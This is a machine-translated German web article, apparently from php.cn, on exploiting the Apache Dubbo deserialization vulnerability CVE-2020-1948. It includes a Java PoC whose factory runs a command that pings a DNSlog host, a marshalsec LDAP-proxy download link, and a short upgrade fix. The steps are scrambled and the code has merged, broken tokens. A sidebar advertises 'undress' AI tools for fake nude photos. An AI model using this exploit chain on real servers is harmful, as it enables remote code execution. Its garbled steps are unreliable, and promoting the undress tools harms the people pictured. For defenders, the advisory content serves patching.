Inhaltsverzeichnis
Einführung
Übersicht
Betroffene Versionen
Umgebungseinrichtung
Heim Betrieb und Instandhaltung Sicherheit So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo

So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo

May 17, 2023 pm 04:01 PM
dubbo

Einführung

Dubbo ist ein leistungsstarkes und exzellentes Service-Framework von Alibaba, das es Anwendungen ermöglicht, Service-Ausgabe- und Eingabefunktionen über Hochleistungs-RPC zu realisieren, und das nahtlos in das Spring-Framework integriert werden kann. Das System verfügt über drei Kernfunktionen, darunter den Aufruf von Remote-Schnittstellenmethoden, intelligente Fehlertoleranz und Lastausgleich sowie die automatische Registrierung und Erkennung von Diensten.

Übersicht

Am 23. Juni 2020 veröffentlichte Apache Dubbo offiziell einen Risikohinweis für die Remotecodeausführung von Apache Dubbo. Die Schwachstellennummer lautet CVE-2020-1948 und die Schwachstellenstufe ist: hohes Risiko. Apache Dubbo ist ein leistungsstarkes, leichtes Open-Source-Java-RPC-Framework, das drei Kernfunktionen bietet: schnittstellenorientierter Remote-Methodenaufruf, intelligente Fehlertoleranz und Lastausgleich sowie automatische Dienstregistrierung und -erkennung. Der Apache Dubbo Provider weist eine Deserialisierungsschwachstelle auf. Ein Angreifer kann über RPC-Anfragen unbekannte Dienstnamen oder Methodennamen und einige schädliche Parameter-Payloads senden.

Betroffene Versionen

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (offiziell nicht mehr gewartet)

Umgebungseinrichtung

Die JDK-Versionen der Laufumgebung und der Kompilierungs-Exp-Umgebung sind beide 8u121 , Starten Sie die Testumgebung

java -jar dubbo.jar
Nach dem Login kopieren


Nach dem Start wird Port 12345 abgehört kann ausgeführt werden und ein neues calc.java erstellen,

PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
Nach dem Login kopieren

Poc kompilieren

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
Nach dem Login kopieren

Legen Sie den kompilierten POC (calc.class) in das Web-Website-Verzeichnis, um sicherzustellen, dass der anfällige Host darauf zugreifen kann. Verwenden Sie das Marshalsec-Projekt, um einen LDAP-Proxy-Dienst zu starten und Marshalsec herunterzuladen:


Starten Sie den LDAP-Proxy-Dienst und der LDAP-Dienst überwacht Port 8086


javac calc.java
Nach dem Login kopieren


Führen Sie den Test aus Skript. DNSlog-Ansicht, Anfrage erfolgreich empfangen

LDAP-Dienst kann auch die Anfrageweiterleitung sehen


Bombenrechner

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Nach dem Login kopieren

Fehlerbehebung

Upgrade auf Version 2.7.7 und Durchführung der Parameterüberprüfung gemäß der Methode des folgenden Links

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

Ersatzprotokoll und Deserialisierungsmethode.

Das obige ist der detaillierte Inhalt vonSo analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Praktisches Tutorial zur SpringBoot+Dubbo+Nacos-Entwicklung Praktisches Tutorial zur SpringBoot+Dubbo+Nacos-Entwicklung Aug 15, 2023 pm 04:49 PM

In diesem Artikel wird ein detailliertes Beispiel geschrieben, um über die tatsächliche Entwicklung von Dubbo + Nacos + Spring Boot zu sprechen. In diesem Artikel wird nicht zu viel theoretisches Wissen behandelt, sondern das einfachste Beispiel wird geschrieben, um zu veranschaulichen, wie Dubbo in Nacos integriert werden kann, um schnell eine Entwicklungsumgebung aufzubauen.

Warum wird Dubbo in Go umgeschrieben? Warum wird Dubbo in Go umgeschrieben? Apr 10, 2023 pm 12:51 PM

[[443126]] Lassen Sie mich mit ein paar Worten beginnen. Manchmal denke ich lange über eine Frage nach, bis ich sie überzeugen kann mich selbst über jeden Punkt der Frage. Deshalb möchte ich diese Gedanken festhalten und einen Artikel formen, der als neue Serie verwendet werden kann. Möglicherweise können Sie den Code in diesen Artikeln nicht sehen, aber Sie können einen Blick auf einige Probleme werfen, die leicht übersehen werden, sowie auf das tiefere „Warum“ des Problems. Heute bringen wir den ersten Artikel: Warum sollte Dubbo in Go neu geschrieben werden? Dubbo, das 2011 in Alibaba geboren und als Open Source bereitgestellt wurde, hat 10 Jahre hinter sich. Im Jahr 2019 wurde es in Go neu geschrieben und als Open Source bereitgestellt. Jetzt, zwei Jahre später, wurde es von der ursprünglichen Version V1.0.0 auf V3.0.0 weiterentwickelt.

Prinzip- und Beispielanalyse des Java-basierten verteilten Service-Frameworks Dubbo Prinzip- und Beispielanalyse des Java-basierten verteilten Service-Frameworks Dubbo Apr 24, 2023 pm 08:13 PM

Vorwort Bevor wir Dubbo vorstellen, wollen wir zunächst die Grundkonzepte verstehen: RPC ist ein Remote-Prozeduraufruf (Remote Procedure Call). Es wird in der Architektur einzelner Anwendungen und in der Architektur vertikaler Anwendungen verwendet . Es handelt sich bei allen um lokale Prozeduraufrufe. Es ermöglicht einem Programm, eine Prozedur oder Funktion in einem anderen Adressraum (normalerweise einem anderen in einem Netzwerk gemeinsam genutzten Computer) aufzurufen, ohne dass der Programmierer die Details des Remote-Aufrufs explizit codieren muss. Remote-Aufrufe zwischen Anwendungen mit verteilter Architektur erfordern, dass das RPC-Framework Remote-Aufrufe genauso einfach macht wie lokale Aufrufe. Das Dubbo-Framework verfügt über die folgende Komponente Consumer, die den Remote-Dienst aufruft

Dubbo-Quellcode-Analyse: Leitfaden für Einsteiger Dubbo-Quellcode-Analyse: Leitfaden für Einsteiger Aug 23, 2023 pm 02:44 PM

Wenn Sie Dubbo bereits beherrschen, ist dieser Artikel nicht für Sie geeignet. Wenn Sie jedoch Dubbo verstehen und Dubbo lernen möchten, ist er sehr gut für Sie geeignet.

So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo May 17, 2023 pm 04:01 PM

Einführung Dubbo ist ein leistungsstarkes und exzellentes Service-Framework von Alibaba, das es Anwendungen ermöglicht, Service-Ausgabe- und Eingabefunktionen über Hochleistungs-RPC zu realisieren, und das nahtlos in das Spring-Framework integriert werden kann. Es bietet drei Kernfunktionen: schnittstellenorientierten Remote-Methodenaufruf, intelligente Fehlertoleranz und Lastausgleich sowie automatische Dienstregistrierung und -erkennung. Übersicht Am 23. Juni 2020 veröffentlichte ApacheDubbo offiziell einen Risikohinweis zur Remote-Codeausführung von ApacheDubbo. Die Schwachstellennummer lautet CVE-2020-1948 und die Schwachstellenstufe lautet: hohes Risiko. ApacheDubbo ist ein leistungsstarkes, leichtes Open-Source-JavaRPC-Framework. Es bietet drei Kernfunktionen: schnittstellenorientiertes Remote

Was sind die Unterschiede zwischen den drei SPI-Mechanismen von Java Spring Dubbo? Was sind die Unterschiede zwischen den drei SPI-Mechanismen von Java Spring Dubbo? May 16, 2023 am 08:34 AM

Wofür wird SPI verwendet? Beispielsweise haben wir jetzt ein neues Protokollierungs-Framework entwickelt: „Super-Logger“. Standardmäßig werden XML-Dateien als Konfigurationsdateien unseres Protokolls verwendet und eine Schnittstelle zum Parsen von Konfigurationsdateien wurde entwickelt: packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} Dann gibt es eine Standard-XML-Implementierung: packagecom .github .kongwu.spisamples;publiccl

Was ist das Prinzip und der Mechanismus von Dubbo? Was ist das Prinzip und der Mechanismus von Dubbo? Jan 17, 2024 pm 03:25 PM

Erläuterung der Dubbo-Prinzipien: 2. Kommunikationsprinzipien; 4. Automatische Erkennung und Weiterleitung; 7. Überwachung und Protokollierung; , Skalierbarkeit; 10. Integration mit Spring; 11. Integration mit anderen Technologien. Detaillierte Einführung: 1. Kernkomponenten, einschließlich Registrierungszentrum, Überwachungszentrum, Dienstverbraucher und Dienstanbieter.

Was ist die allgemeine Entwurfsmethode der Java-Dubbo-Architektur? Was ist die allgemeine Entwurfsmethode der Java-Dubbo-Architektur? Apr 27, 2023 pm 09:52 PM

1. Beschreibung der Dubbo-Anrufbeziehung 1.1 Die Komponenten bestehen hier hauptsächlich aus vier Teilen: Anbieter: Der Dienstanbieter, der den Dienst bereitstellt. Protokoll: Verantwortlich für die Protokollinteraktionsdaten zwischen dem Anbieter und dem Verbraucher. Dienst: Die eigentlichen Geschäftsdienstinformationen Kann verstanden werden. Container: Dubbos Betriebsumgebung. Verbraucher: Der Dienstverbraucher, der den Remotedienst aufruft. Protokoll: Verantwortlich für die Protokollinteraktionsdaten zwischen dem Anbieter und dem Verbraucher. Cluster: Nimmt die Listeninformationen auf der Anbieterseite wahr. Proxy: Kann sein Darunter versteht man den Service-Call-Agenten des Anbieters, der die Interface-Call-Logik im Consumer ●Register: Registrieren übernimmt

See all articles